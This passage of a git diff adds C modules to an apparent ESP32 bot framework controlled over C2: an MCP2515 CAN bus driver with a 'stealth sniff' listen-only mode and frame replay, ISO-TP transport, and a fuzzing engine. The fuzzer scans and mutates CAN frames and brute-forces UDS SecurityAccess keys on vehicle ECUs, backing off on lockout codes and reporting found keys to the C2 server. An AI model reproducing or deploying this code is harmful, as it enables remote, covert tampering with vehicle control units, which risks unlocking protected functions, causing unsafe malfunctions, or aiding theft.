portMAX_DELAY); + + /* Try to load into TX buffer, with retries for busy buffer */ + bool ok = false; + for (int i = 0; i < 10; i++) { + if (mcp_write_tx_buffer(frame)) { + ok = true; + break; + } + vTaskDelay(pdMS_TO_TICKS(1)); + } + + if (ok) { + /* Wait for TX complete (TX0IF) or timeout */ + for (int i = 0; i < 100; i++) { + uint8_t intf = mcp_read_reg(MCP_CANINTF); + if (intf & MCP_TX0IF) { + mcp_modify_reg(MCP_CANINTF, MCP_TX0IF, 0x00); + s_tx_count++; + break; + } + vTaskDelay(pdMS_TO_TICKS(1)); + } + } + + xSemaphoreGive(s_tx_mutex); + return ok; +} + +void can_driver_set_rx_callback(can_rx_callback_t cb, void *ctx) +{ + s_rx_cb = cb; + s_rx_ctx = ctx; +} + +void can_driver_get_rx_callback(can_rx_callback_t *cb, void **ctx) +{ + if (cb) *cb = s_rx_cb; + if (ctx) *ctx = s_rx_ctx; +} + +/* ============================================================ + * Public API — Hardware Filters + * ============================================================ */ + +/* Filter register base addresses (SIDH of each filter) */ +static const uint8_t s_filter_addrs[6] = { + MCP_RXF0SIDH, MCP_RXF1SIDH, MCP_RXF2SIDH, + MCP_RXF3SIDH, MCP_RXF4SIDH, MCP_RXF5SIDH, +}; + +static const uint8_t s_mask_addrs[2] = { + MCP_RXM0SIDH, MCP_RXM1SIDH, +}; + +/* Write ID to filter/mask register set (4 bytes: SIDH, SIDL, EID8, EID0) */ +static void write_id_regs(uint8_t base_addr, uint32_t id, bool extended) +{ + uint8_t sidh, sidl, eid8, eid0; + + if (extended) { + sidh = (uint8_t)(id >> 21); + sidl = (uint8_t)((id >> 13) & 0xE0) | 0x08 | (uint8_t)((id >> 16) & 0x03); + eid8 = (uint8_t)(id >> 8); + eid0 = (uint8_t)(id); + } else { + sidh = (uint8_t)(id >> 3); + sidl = (uint8_t)((id & 0x07) << 5); + eid8 = 0; + eid0 = 0; + } + + mcp_write_reg(base_addr, sidh); + mcp_write_reg(base_addr + 1, sidl); + mcp_write_reg(base_addr + 2, eid8); + mcp_write_reg(base_addr + 3, eid0); +} + +bool can_driver_set_filter(int idx, uint32_t id, bool extended) +{ + if (!s_spi || idx < 0 || idx > 5) return false; + + /* Filters can only be set in CONFIG mode */ + bool was_running = s_running; + if (was_running) can_driver_stop(); + + mcp_set_mode(MCP_MODE_CONFIG); + write_id_regs(s_filter_addrs[idx], id, extended); + + /* Enable filtering on the relevant RX buffer */ + if (idx < 2) { + mcp_write_reg(MCP_RXB0CTRL, 0x04); /* BUKT=1, RXM=00 (use filter) */ + } else { + mcp_write_reg(MCP_RXB1CTRL, 0x00); /* RXM=00 (use filter) */ + } + + if (was_running) can_driver_start(CAN_MODE_NORMAL); + return true; +} + +bool can_driver_set_mask(int idx, uint32_t mask, bool extended) +{ + if (!s_spi || idx < 0 || idx > 1) return false; + + bool was_running = s_running; + if (was_running) can_driver_stop(); + + mcp_set_mode(MCP_MODE_CONFIG); + write_id_regs(s_mask_addrs[idx], mask, extended); + + if (was_running) can_driver_start(CAN_MODE_NORMAL); + return true; +} + +void can_driver_clear_filters(void) +{ + if (!s_spi) return; + + bool was_running = s_running; + if (was_running) can_driver_stop(); + + mcp_set_mode(MCP_MODE_CONFIG); + + /* Set masks to 0 (match anything) */ + for (int i = 0; i < 2; i++) { + write_id_regs(s_mask_addrs[i], 0, false); + } + + /* RXM=11 → turn off mask/filter, receive all */ + mcp_write_reg(MCP_RXB0CTRL, 0x64); + mcp_write_reg(MCP_RXB1CTRL, 0x60); + + if (was_running) can_driver_start(CAN_MODE_NORMAL); +} + +/* ============================================================ + * Public API — Status + * ============================================================ */ + +void can_driver_get_status(can_status_t *out) +{ + memset(out, 0, sizeof(*out)); + + out->rx_count = s_rx_count; + out->tx_count = s_tx_count; + out->bus_errors = s_bus_errors; + out->rx_overflow = s_rx_overflow; + out->bus_off = s_bus_off; + + if (s_spi) { + out->tx_errors = mcp_read_reg(MCP_TEC); + out->rx_errors = mcp_read_reg(MCP_REC); + out->error_passive = (out->tx_errors > 127) || (out->rx_errors > 127); + } + + if (!s_spi) out->state = "not_initialized"; + else if (!s_running) out->state = "stopped"; + else if (out->bus_off) out->state = "bus_off"; + else if (out->error_passive) out->state = "error_passive"; + else out->state = "running"; +} + +/* ============================================================ + * Public API — Replay + * ============================================================ */ + +bool can_driver_replay(const can_frame_t *frames, int count, int speed_pct) +{ + if (!s_running || !frames || count <= 0) return false; + + ESP_LOGI(TAG, "Replaying %d frames at %d%% speed", count, speed_pct); + + int64_t base_ts = frames[0].timestamp_us; + + for (int i = 0; i < count && s_running; i++) { + /* Wait for inter-frame delay */ + if (i > 0 && speed_pct > 0) { + int64_t delta_us = frames[i].timestamp_us - frames[i - 1].timestamp_us; + if (delta_us > 0) { + int64_t wait_us = (delta_us * 100) / speed_pct; + if (wait_us > 1000) { + vTaskDelay(pdMS_TO_TICKS(wait_us / 1000)); + } + } + } + + can_frame_t tx = frames[i]; + if (!can_driver_send(&tx)) { + ESP_LOGW(TAG, "Replay: send failed at frame %d", i); + } + } + + ESP_LOGI(TAG, "Replay complete (%d frames)", count); + return true; +} + +#endif /* CONFIG_MODULE_CANBUS */ diff --git a/espilon_bot/components/mod_canbus/canbus_driver.h b/espilon_bot/components/mod_canbus/canbus_driver.h new file mode 100644 index 0000000..ea6896a --- /dev/null +++ b/espilon_bot/components/mod_canbus/canbus_driver.h @@ -0,0 +1,117 @@ +/* + * canbus_driver.h + * MCP2515 CAN controller driver via SPI. + * Abstracts all hardware details — upper layers see only can_frame_t. + */ +#pragma once + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================ + * CAN Frame + * ============================================================ */ + +typedef struct { + uint32_t id; /* Arbitration ID (11 or 29 bit) */ + uint8_t dlc; /* Data Length Code (0-8) */ + uint8_t data[8]; /* Payload */ + bool extended; /* Extended (29-bit) ID */ + bool rtr; /* Remote Transmission Request */ + int64_t timestamp_us; /* Microsecond timestamp (esp_timer_get_time) */ +} can_frame_t; + +/* ============================================================ + * Operating Modes + * ============================================================ */ + +typedef enum { + CAN_MODE_NORMAL, /* Full TX/RX participation on bus */ + CAN_MODE_LISTEN_ONLY, /* RX only, no ACK (stealth sniff) */ + CAN_MODE_LOOPBACK, /* Self-test, TX frames loop back to RX */ +} can_mode_t; + +/* ============================================================ + * RX Callback + * ============================================================ */ + +/* Called from RX task context (not ISR) — safe to call msg_data() etc. */ +typedef void (*can_rx_callback_t)(const can_frame_t *frame, void *ctx); + +/* ============================================================ + * Driver Lifecycle + * ============================================================ */ + +/* Init SPI bus + MCP2515 reset + bit timing config */ +bool can_driver_init(int bitrate, uint8_t osc_mhz); + +/* Set MCP2515 to operational mode, start RX task */ +bool can_driver_start(can_mode_t mode); + +/* Set MCP2515 to config mode, kill RX task */ +void can_driver_stop(void); + +/* Free SPI resources */ +void can_driver_deinit(void); + +/* Check if driver is running */ +bool can_driver_is_running(void); + +/* ============================================================ + * TX / RX + * ============================================================ */ + +/* Send a single CAN frame (blocking until TX complete or timeout) */ +bool can_driver_send(const can_frame_t *frame); + +/* Register callback for received frames */ +void can_driver_set_rx_callback(can_rx_callback_t cb, void *ctx); + +/* Retrieve the currently installed RX callback */ +void can_driver_get_rx_callback(can_rx_callback_t *cb, void **ctx); + +/* ============================================================ + * Hardware Filters (MCP2515 acceptance masks + filters) + * ============================================================ */ + +/* Set one of 6 acceptance filters (0-5). Filters 0-1 use mask 0, filters 2-5 use mask 1. */ +bool can_driver_set_filter(int filter_idx, uint32_t id, bool extended); + +/* Set one of 2 acceptance masks (0-1) */ +bool can_driver_set_mask(int mask_idx, uint32_t mask, bool extended); + +/* Clear all filters — accept all frames */ +void can_driver_clear_filters(void); + +/* ============================================================ + * Status / Diagnostics + * ============================================================ */ + +typedef struct { + uint32_t rx_count; + uint32_t tx_count; + uint32_t rx_errors; /* REC from MCP2515 */ + uint32_t tx_errors; /* TEC from MCP2515 */ + uint32_t bus_errors; + uint32_t rx_overflow; /* RX buffer overflow count */ + bool bus_off; /* TEC > 255 */ + bool error_passive; /* TEC or REC > 127 */ + const char *state; /* "stopped"/"running"/"bus_off"/"error_passive" */ +} can_status_t; + +void can_driver_get_status(can_status_t *out); + +/* ============================================================ + * Replay + * ============================================================ */ + +/* Replay recorded frames. speed_pct: 100=real-time, 0=max speed */ +bool can_driver_replay(const can_frame_t *frames, int count, int speed_pct); + +#ifdef __cplusplus +} +#endif diff --git a/espilon_bot/components/mod_canbus/canbus_fuzz.c b/espilon_bot/components/mod_canbus/canbus_fuzz.c new file mode 100644 index 0000000..6fbec8b --- /dev/null +++ b/espilon_bot/components/mod_canbus/canbus_fuzz.c @@ -0,0 +1,359 @@ +/* + * canbus_fuzz.c + * CAN bus fuzzing engine implementation. + * + * Runs as a FreeRTOS task on Core 1. Reports interesting responses to C2. + */ +#include "sdkconfig.h" + +#if defined(CONFIG_MODULE_CANBUS) && defined(CONFIG_CANBUS_FUZZ) + +#include +#include "esp_log.h" +#include "esp_random.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" +#include "freertos/semphr.h" + +#include "canbus_fuzz.h" +#include "canbus_driver.h" +#include "utils.h" + +#ifdef CONFIG_CANBUS_ISO_TP +#include "canbus_isotp.h" +#endif + +#define TAG "CAN_FUZZ" + +static volatile bool s_fuzz_running = false; +static TaskHandle_t s_fuzz_task = NULL; +static fuzz_config_t s_fuzz_cfg; +static const char *s_fuzz_req_id = NULL; +static uint32_t s_fuzz_count = 0; +static uint32_t s_fuzz_responses = 0; +static SemaphoreHandle_t s_fuzz_mutex = NULL; + +/* ============================================================ + * Response detector callback + * ============================================================ */ + +/* Temporary callback to detect responses during fuzzing */ +static can_rx_callback_t s_prev_cb = NULL; +static void *s_prev_ctx = NULL; + +static void fuzz_rx_callback(const can_frame_t *frame, void *ctx) +{ + (void)ctx; + + /* Count any response and report interesting ones */ + s_fuzz_responses++; + + /* Report to C2 */ + char line[96]; + snprintf(line, sizeof(line), "FUZZ_RSP|%03lX|%u|", + (unsigned long)frame->id, frame->dlc); + size_t off = strlen(line); + for (int i = 0; i < frame->dlc && off < sizeof(line) - 2; i++) { + off += snprintf(line + off, sizeof(line) - off, "%02X", frame->data[i]); + } + msg_data(TAG, line, strlen(line), false, s_fuzz_req_id); + + /* Chain to original callback */ + if (s_prev_cb) s_prev_cb(frame, s_prev_ctx); +} + +/* ============================================================ + * Fuzz Modes + * ============================================================ */ + +/* ID Scan: send fixed payload on every ID in range */ +static void fuzz_id_scan(void) +{ + uint8_t data[8]; + memcpy(data, s_fuzz_cfg.seed_data, 8); + uint8_t dlc = s_fuzz_cfg.seed_dlc > 0 ? s_fuzz_cfg.seed_dlc : 8; + + for (uint32_t id = s_fuzz_cfg.id_start; + id <= s_fuzz_cfg.id_end && s_fuzz_running; + id++) { + + can_frame_t frame = { + .id = id, + .dlc = dlc, + .extended = (id > 0x7FF), + .rtr = false, + }; + memcpy(frame.data, data, 8); + + can_driver_send(&frame); + s_fuzz_count++; + + if (s_fuzz_cfg.delay_ms > 0) { + vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms)); + } + + if (s_fuzz_cfg.max_iterations > 0 && s_fuzz_count >= (uint32_t)s_fuzz_cfg.max_iterations) { + break; + } + } +} + +/* Data Mutate: for a fixed ID, try all values for each byte */ +static void fuzz_data_mutate(void) +{ + can_frame_t frame = { + .id = s_fuzz_cfg.target_id, + .dlc = s_fuzz_cfg.seed_dlc > 0 ? s_fuzz_cfg.seed_dlc : 8, + .extended = (s_fuzz_cfg.target_id > 0x7FF), + .rtr = false, + }; + memcpy(frame.data, s_fuzz_cfg.seed_data, 8); + + /* For each byte position, try all 256 values */ + for (int pos = 0; pos < frame.dlc && s_fuzz_running; pos++) { + uint8_t original = frame.data[pos]; + + for (int val = 0; val < 256 && s_fuzz_running; val++) { + frame.data[pos] = (uint8_t)val; + can_driver_send(&frame); + s_fuzz_count++; + + if (s_fuzz_cfg.delay_ms > 0) { + vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms)); + } + + if (s_fuzz_cfg.max_iterations > 0 && + s_fuzz_count >= (uint32_t)s_fuzz_cfg.max_iterations) { + return; + } + } + + frame.data[pos] = original; /* Restore for next position */ + } +} + +/* Random: random ID + random data */ +static void fuzz_random(void) +{ + int max_iter = s_fuzz_cfg.max_iterations > 0 + ? s_fuzz_cfg.max_iterations + : 10000; + + for (int i = 0; i < max_iter && s_fuzz_running; i++) { + uint32_t rand_val = esp_random(); + + can_frame_t frame = { + .id = rand_val & 0x7FF, /* Standard ID range */ + .dlc = (uint8_t)((esp_random() % 8) + 1), + .extended = false, + .rtr = false, + }; + + /* Fill with random data */ + uint32_t r1 = esp_random(); + uint32_t r2 = esp_random(); + memcpy(&frame.data[0], &r1, 4); + memcpy(&frame.data[4], &r2, 4); + + can_driver_send(&frame); + s_fuzz_count++; + + if (s_fuzz_cfg.delay_ms > 0) { + vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms)); + } + } +} + +/* UDS Auth: brute-force SecurityAccess key */ +static void fuzz_uds_auth(void) +{ +#ifdef CONFIG_CANBUS_ISO_TP + uint32_t tx_id = s_fuzz_cfg.target_id; + uint32_t rx_id = tx_id + 0x08; + int max_iter = s_fuzz_cfg.max_iterations > 0 + ? s_fuzz_cfg.max_iterations + : 65536; + + ESP_LOGI(TAG, "UDS auth brute-force on TX=0x%03lX", (unsigned long)tx_id); + + for (int attempt = 0; attempt < max_iter && s_fuzz_running; attempt++) { + /* Step 1: Request seed (SecurityAccess level 0x01) */ + uint8_t seed_req[2] = { 0x27, 0x01 }; + uint8_t resp[32]; + size_t resp_len = 0; + + isotp_status_t st = isotp_request( + tx_id, rx_id, seed_req, 2, + resp, sizeof(resp), &resp_len, 1000 + ); + + if (st != ISOTP_OK || resp_len < 2) { + vTaskDelay(pdMS_TO_TICKS(100)); + continue; + } + + /* Check for exceededAttempts NRC (0x36) — back off */ + if (resp[0] == 0x7F && resp_len >= 3 && resp[2] == 0x36) { + ESP_LOGW(TAG, "ExceededAttempts — waiting 10s"); + vTaskDelay(pdMS_TO_TICKS(10000)); + continue; + } + + /* Check for timeDelayNotExpired NRC (0x37) — back off */ + if (resp[0] == 0x7F && resp_len >= 3 && resp[2] == 0x37) { + ESP_LOGW(TAG, "TimeDelayNotExpired — waiting 10s"); + vTaskDelay(pdMS_TO_TICKS(10000)); + continue; + } + + /* Positive seed response: 0x67, 0x01, seed bytes */ + if (resp[0] != 0x67 || resp[1] != 0x01) continue; + + int seed_len = (int)resp_len - 2; + if (seed_len <= 0 || seed_len > 8) continue; + + /* Step 2: Try key (incremental or random based on iteration) */ + uint8_t key_req[10] = { 0x27, 0x02 }; + int key_len; + + if (seed_len <= 2) { + /* Short seed: try sequential */ + key_len = seed_len; + key_req[2] = (uint8_t)(attempt >> 8); + if (key_len > 1) key_req[3] = (uint8_t)(attempt & 0xFF); + else key_req[2] = (uint8_t)(attempt & 0xFF); + } else { + /* Long seed: try random keys */ + key_len = seed_len; + uint32_t r1 = esp_random(); + uint32_t r2 = esp_random(); + memcpy(&key_req[2], &r1, 4); + if (key_len > 4) memcpy(&key_req[6], &r2, key_len - 4); + } + + resp_len = 0; + st = isotp_request( + tx_id, rx_id, key_req, 2 + key_len, + resp, sizeof(resp), &resp_len, 1000 + ); + + s_fuzz_count++; + + if (st == ISOTP_OK && resp_len >= 2 && resp[0] == 0x67) { + /* SUCCESS! */ + char line[64]; + snprintf(line, sizeof(line), "FUZZ_UDS_KEY_FOUND|0x%03lX|", + (unsigned long)tx_id); + size_t off = strlen(line); + for (int k = 0; k < key_len && off < sizeof(line) - 2; k++) { + off += snprintf(line + off, sizeof(line) - off, "%02X", key_req[2 + k]); + } + msg_data(TAG, line, strlen(line), false, s_fuzz_req_id); + ESP_LOGI(TAG, "Security key found!"); + s_fuzz_running = false; + break; + } + + if (s_fuzz_cfg.delay_ms > 0) { + vTaskDelay(pdMS_TO_TICKS(s_fuzz_cfg.delay_ms)); + } + + /* Progress report every 100 attempts */ + if ((attempt % 100) == 99) { + char progress[48]; + snprintf(progress, sizeof(progress), "FUZZ_UDS_PROGRESS|%d", attempt + 1); + msg_data(TAG, progress, strlen(progress), false, s_fuzz_req_id); + } + } +#else + ESP_LOGE(TAG, "UDS auth fuzz requires CONFIG_CANBUS_ISO_TP"); + s_fuzz_running = false; +#endif +} + +/* ============================================================ + * Fuzz Task + * ============================================================ */ + +static void fuzz_task(void *arg) +{ + (void)arg; + + ESP_LOGI(TAG, "Fuzzing started: mode=%d", s_fuzz_cfg.mode); + s_fuzz_count = 0; + s_fuzz_responses = 0; + + switch (s_fuzz_cfg.mode) { + case FUZZ_MODE_ID_SCAN: fuzz_id_scan(); break; + case FUZZ_MODE_DATA_MUTATE: fuzz_data_mutate(); break; + case FUZZ_MODE_RANDOM: fuzz_random(); break; + case FUZZ_MODE_UDS_AUTH: fuzz_uds_auth(); break; + } + + /* Report completion */ + char done[80]; + snprintf(done, sizeof(done), "FUZZ_DONE|sent=%"PRIu32"|responses=%"PRIu32, + s_fuzz_count, s_fuzz_responses); + msg_data(TAG, done, strlen(done), true, s_fuzz_req_id); + + s_fuzz_running = false; + s_fuzz_task = NULL; + vTaskDelete(NULL); +} + +/* ============================================================ + * Public API + * ============================================================ */ + +bool can_fuzz_start(const fuzz_config_t *cfg, const char *request_id) +{ + if (!s_fuzz_mutex) s_fuzz_mutex = xSemaphoreCreateMutex(); + xSemaphoreTake(s_fuzz_mutex, portMAX_DELAY); + + if (s_fuzz_running) { + ESP_LOGW(TAG, "Fuzzing already in progress"); + xSemaphoreGive(s_fuzz_mutex); + return false; + } + if (!can_driver_is_running()) { + ESP_LOGE(TAG, "CAN driver not running"); + xSemaphoreGive(s_fuzz_mutex); + return false; + } + + s_fuzz_cfg = *cfg; + s_fuzz_req_id = request_id; + s_fuzz_running = true; + + BaseType_t ret = xTaskCreatePinnedToCore( + fuzz_task, "can_fuzz", 4096, NULL, 3, &s_fuzz_task, 1 + ); + + if (ret != pdPASS) { + s_fuzz_running = false; + xSemaphoreGive(s_fuzz_mutex); + return false; + } + + xSemaphoreGive(s_fuzz_mutex); + return true; +} + +void can_fuzz_stop(void) +{ + if (!s_fuzz_mutex) s_fuzz_mutex = xSemaphoreCreateMutex(); + xSemaphoreTake(s_fuzz_mutex, portMAX_DELAY); + s_fuzz_running = false; + xSemaphoreGive(s_fuzz_mutex); + + for (int i = 0; i < 20 && s_fuzz_task != NULL; i++) { + vTaskDelay(pdMS_TO_TICKS(50)); + } +} + +bool can_fuzz_is_running(void) +{ + return s_fuzz_running; +} + +#endif /* CONFIG_MODULE_CANBUS && CONFIG_CANBUS_FUZZ */ diff --git a/espilon_bot/components/mod_canbus/canbus_fuzz.h b/espilon_bot/components/mod_canbus/canbus_fuzz.h new file mode 100644 index 0000000..95bad65 --- /dev/null +++ b/espilon_bot/components/mod_canbus/canbus_fuzz.h @@ -0,0 +1,42 @@ +/* + * canbus_fuzz.h + * CAN bus fuzzing engine — ID scan, data mutation, random injection, UDS auth brute-force. + */ +#pragma once + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +typedef enum { + FUZZ_MODE_ID_SCAN, /* Iterate all CAN IDs, fixed payload */ + FUZZ_MODE_DATA_MUTATE, /* Fixed ID, mutate data bytes systematically */ + FUZZ_MODE_RANDOM, /* Random ID + random data */ + FUZZ_MODE_UDS_AUTH, /* Brute-force UDS SecurityAccess keys */ +} fuzz_mode_t; + +typedef struct { + fuzz_mode_t mode; + uint32_t id_start, id_end; /* For ID_SCAN range */ + uint32_t target_id; /* For DATA_MUTATE / UDS_AUTH */ + int delay_ms; /* Inter-frame delay */ + int max_iterations; /* 0 = unlimited */ + uint8_t seed_data[8]; /* Initial data for mutation */ + uint8_t seed_dlc; /* DLC for seed data */ +} fuzz_config_t; + +/* Start fuzzing in background task. request_id for C2 streaming. */ +bool can_fuzz_start(const fuzz_config_t *cfg, const char *request_id); + +/* Stop fuzzing */ +void can_fuzz_stop(void); + +/* Check if fuzzing is active */ +bool can_fuzz_is_running(void); + +#ifdef __cplusplus +} +#endif diff --git a/espilon_bot/components/mod_canbus/canbus_isotp.c b/espilon_bot/components/mod_canbus/canbus_isotp.c new file mode 100644 index 0000000..9b38d23 --- /dev/null +++ b/espilon_bot/components/mod_canbus/canbus_isotp.c @@ -0,0 +1,416 @@ +/* + * canbus_isotp.c + * ISO-TP (ISO 15765-2) transport layer implementation. + * + * Frame types: + * Single Frame (SF): [0x0N | data...] N = length (1-7) + * First Frame (FF): [0x1H 0xLL | 6 bytes] H:L = total length (up to 4095) + * Consecutive Frame (CF): [0x2N | 7 bytes] N = sequence (0-F, wrapping) + * Flow Control (FC): [0x30 BS ST] BS=block size, ST=separation time + */ +#include "sdkconfig.h" + +#if defined(CONFIG_MODULE_CANBUS) && defined(CONFIG_CANBUS_ISO_TP) + +#include +#include "freertos/FreeRTOS.h" +#include "freertos/semphr.h" +#include "esp_timer.h" +#include "esp_log.h" + +#include "canbus_isotp.h" +#include "canbus_driver.h" + +#define TAG "CAN_ISOTP" + +/* Max ISO-TP payload (12-bit length field) */ +#define ISOTP_MAX_LEN 4095 + +/* Reassembly buffer (static — single concurrent transfer) */ +static uint8_t s_reassembly[ISOTP_MAX_LEN]; + +/* Synchronization: RX callback puts frame here, isotp functions wait on semaphore */ +static SemaphoreHandle_t s_rx_sem = NULL; +static can_frame_t s_rx_frame; +static volatile uint32_t s_listen_id = 0; +static volatile bool s_listening = false; + +/* Previous RX callback to chain */ +static can_rx_callback_t s_prev_cb = NULL; +static void *s_prev_ctx = NULL; + +/* ============================================================ + * Internal RX callback for ISO-TP framing + * ============================================================ */ + +static void isotp_rx_callback(const can_frame_t *frame, void *ctx) +{ + (void)ctx; + + /* If we're listening for a specific ID, capture it */ + if (s_listening && frame->id == s_listen_id) { + s_rx_frame = *frame; + if (s_rx_sem) xSemaphoreGive(s_rx_sem); + } + + /* Chain to previous callback (sniff/record) */ + if (s_prev_cb) s_prev_cb(frame, s_prev_ctx); +} + +/* ============================================================ + * Helpers + * ============================================================ */ + +static void isotp_init_once(void) +{ + if (!s_rx_sem) { + s_rx_sem = xSemaphoreCreateBinary(); + } +} + +/* Hook our callback, saving the previous one */ +static void isotp_hook_rx(uint32_t listen_id) +{ + isotp_init_once(); + + s_listen_id = listen_id; + s_listening = true; + + /* Clear any pending semaphore */ + xSemaphoreTake(s_rx_sem, 0); +} + +static void isotp_unhook_rx(void) +{ + s_listening = false; + s_listen_id = 0; +} + +/* Wait for a frame with the target ID, timeout in ms */ +static bool wait_frame(can_frame_t *out, int timeout_ms) +{ + if (xSemaphoreTake(s_rx_sem, pdMS_TO_TICKS(timeout_ms)) == pdTRUE) { + *out = s_rx_frame; + return true; + } + return false; +} + +/* Send a single CAN frame (helper) */ +static bool send_frame(uint32_t id, const uint8_t *data, uint8_t dlc) +{ + can_frame_t f = { + .id = id, + .dlc = dlc, + .extended = (id > 0x7FF), + .rtr = false, + .timestamp_us = 0, + }; + memcpy(f.data, data, dlc); + return can_driver_send(&f); +} + +/* Send Flow Control frame: CTS (continue to send) */ +static bool send_fc(uint32_t tx_id, uint8_t block_size, uint8_t st_min) +{ + uint8_t fc[8] = { 0x30, block_size, st_min, 0, 0, 0, 0, 0 }; + return send_frame(tx_id, fc, 8); +} + +/* ============================================================ + * isotp_send — Send ISO-TP message + * ============================================================ */ + +isotp_status_t isotp_send(uint32_t tx_id, uint32_t rx_id, + const uint8_t *data, size_t len, + int timeout_ms) +{ + if (!data || len == 0 || len > ISOTP_MAX_LEN) return ISOTP_ERROR; + + isotp_init_once(); + + /* Single Frame: len <= 7 */ + if (len <= 7) { + uint8_t sf[8] = { 0 }; + sf[0] = (uint8_t)(len & 0x0F); /* PCI: 0x0N */ + memcpy(&sf[1], data, len); + if (!send_frame(tx_id, sf, 8)) return ISOTP_ERROR; + return ISOTP_OK; + } + + /* Multi-frame: First Frame + wait FC + Consecutive Frames */ + + /* Send First Frame */ + uint8_t ff[8] = { 0 }; + ff[0] = 0x10 | (uint8_t)((len >> 8) & 0x0F); + ff[1] = (uint8_t)(len & 0xFF); + memcpy(&ff[2], data, 6); + if (!send_frame(tx_id, ff, 8)) return ISOTP_ERROR; + + /* Wait for Flow Control */ + isotp_hook_rx(rx_id); + + can_frame_t fc; + if (!wait_frame(&fc, timeout_ms)) { + isotp_unhook_rx(); + ESP_LOGW(TAG, "FC timeout from 0x%03lX", (unsigned long)rx_id); + return ISOTP_TIMEOUT; + } + + isotp_unhook_rx(); + + /* Parse FC */ + if ((fc.data[0] & 0xF0) != 0x30) { + ESP_LOGW(TAG, "Expected FC, got PCI 0x%02X", fc.data[0]); + return ISOTP_ERROR; + } + + uint8_t block_size = fc.data[1]; /* 0 = no limit */ + uint8_t st_min = fc.data[2]; /* Separation time in ms */ + + /* Send Consecutive Frames */ + size_t offset = 6; /* First 6 bytes already sent in FF */ + uint8_t seq = 1; + uint8_t blocks_sent = 0; + + while (offset < len) { + uint8_t cf[8] = { 0 }; + cf[0] = 0x20 | (seq & 0x0F); + + size_t chunk = len - offset; + if (chunk > 7) chunk = 7; + memcpy(&cf[1], &data[offset], chunk); + + if (!send_frame(tx_id, cf, 8)) return ISOTP_ERROR; + + offset += chunk; + seq = (seq + 1) & 0x0F; + blocks_sent++; + + /* Respect separation time */ + if (st_min > 0 && st_min <= 127) { + vTaskDelay(pdMS_TO_TICKS(st_min)); + } + + /* Block size flow control */ + if (block_size > 0 && blocks_sent >= block_size && offset < len) { + blocks_sent = 0; + isotp_hook_rx(rx_id); + if (!wait_frame(&fc, timeout_ms)) { + isotp_unhook_rx(); + return ISOTP_TIMEOUT; + } + isotp_unhook_rx(); + if ((fc.data[0] & 0xF0) != 0x30) return ISOTP_ERROR; + block_size = fc.data[1]; + st_min = fc.data[2]; + } + } + + return ISOTP_OK; +} + +/* ============================================================ + * isotp_recv — Receive ISO-TP message + * ============================================================ */ + +isotp_status_t isotp_recv(uint32_t rx_id, + uint8_t *buf, size_t buf_cap, size_t *out_len, + int timeout_ms) +{ + if (!buf || buf_cap == 0 || !out_len) return ISOTP_ERROR; + *out_len = 0; + + isotp_hook_rx(rx_id); + + can_frame_t frame; + if (!wait_frame(&frame, timeout_ms)) { + isotp_unhook_rx(); + return ISOTP_TIMEOUT; + } + + uint8_t pci_type = frame.data[0] & 0xF0; + + /* Single Frame */ + if (pci_type == 0x00) { + isotp_unhook_rx(); + size_t sf_len = frame.data[0] & 0x0F; + if (sf_len == 0 || sf_len > 7 || sf_len > buf_cap) return ISOTP_ERROR; + memcpy(buf, &frame.data[1], sf_len); + *out_len = sf_len; + return ISOTP_OK; + } + + /* First Frame */ + if (pci_type != 0x10) { + isotp_unhook_rx(); + ESP_LOGW(TAG, "Expected SF/FF, got PCI 0x%02X", frame.data[0]); + return ISOTP_ERROR; + } + + size_t total_len = ((size_t)(frame.data[0] & 0x0F) << 8) | frame.data[1]; + if (total_len > buf_cap || total_len > ISOTP_MAX_LEN) { + isotp_unhook_rx(); + return ISOTP_OVERFLOW; + } + + /* Copy first 6 data bytes from FF */ + size_t received = (total_len < 6) ? total_len : 6; + memcpy(buf, &frame.data[2], received); + + /* We need to figure out the TX ID to send FC back. + * Convention: if rx_id is in 0x7E8-0x7EF range, tx_id = rx_id - 8. + * For functional requests, FC goes to rx_id - 8. + * Caller should use isotp_request() for proper bidirectional comms. */ + uint32_t fc_tx_id = (rx_id >= 0x7E8 && rx_id <= 0x7EF) + ? (rx_id - 8) + : (rx_id - 1); + + /* Send Flow Control: continue, no block limit, 0ms separation */ + send_fc(fc_tx_id, 0, 0); + + /* Receive Consecutive Frames */ + uint8_t expected_seq = 1; + while (received < total_len) { + if (!wait_frame(&frame, timeout_ms)) { + isotp_unhook_rx(); + return ISOTP_TIMEOUT; + } + + if ((frame.data[0] & 0xF0) != 0x20) { + isotp_unhook_rx(); + ESP_LOGW(TAG, "Expected CF, got PCI 0x%02X", frame.data[0]); + return ISOTP_ERROR; + } + + uint8_t seq = frame.data[0] & 0x0F; + if (seq != (expected_seq & 0x0F)) { + ESP_LOGW(TAG, "CF seq mismatch: expected %u, got %u", + expected_seq & 0x0F, seq); + } + expected_seq++; + + size_t chunk = total_len - received; + if (chunk > 7) chunk = 7; + memcpy(&buf[received], &frame.data[1], chunk); + received += chunk; + } + + isotp_unhook_rx(); + *out_len = total_len; + return ISOTP_OK; +} + +/* ============================================================ + * isotp_request — Send + Receive (UDS request-response pattern) + * ============================================================ */ + +isotp_status_t isotp_request(uint32_t tx_id, uint32_t rx_id, + const uint8_t *req, size_t req_len, + uint8_t *resp, size_t resp_cap, size_t *resp_len, + int timeout_ms) +{ + if (!resp || !resp_len) return ISOTP_ERROR; + *resp_len = 0; + + isotp_init_once(); + + /* For request-response, we need to listen before sending + * (the response may come very quickly after the request) */ + isotp_hook_rx(rx_id); + + /* Send request */ + isotp_status_t st; + + if (req_len <= 7) { + /* Single frame — send directly and wait for response */ + uint8_t sf[8] = { 0 }; + sf[0] = (uint8_t)(req_len & 0x0F); + memcpy(&sf[1], req, req_len); + if (!send_frame(tx_id, sf, 8)) { + isotp_unhook_rx(); + return ISOTP_ERROR; + } + } else { + /* Multi-frame send — unhook first since isotp_send hooks itself */ + isotp_unhook_rx(); + st = isotp_send(tx_id, rx_id, req, req_len, timeout_ms); + if (st != ISOTP_OK) return st; + isotp_hook_rx(rx_id); + } + + /* Wait for response (may be SF or FF+CF) */ + can_frame_t frame; + if (!wait_frame(&frame, timeout_ms)) { + isotp_unhook_rx(); + return ISOTP_TIMEOUT; + } + + uint8_t pci_type = frame.data[0] & 0xF0; + + /* Single Frame 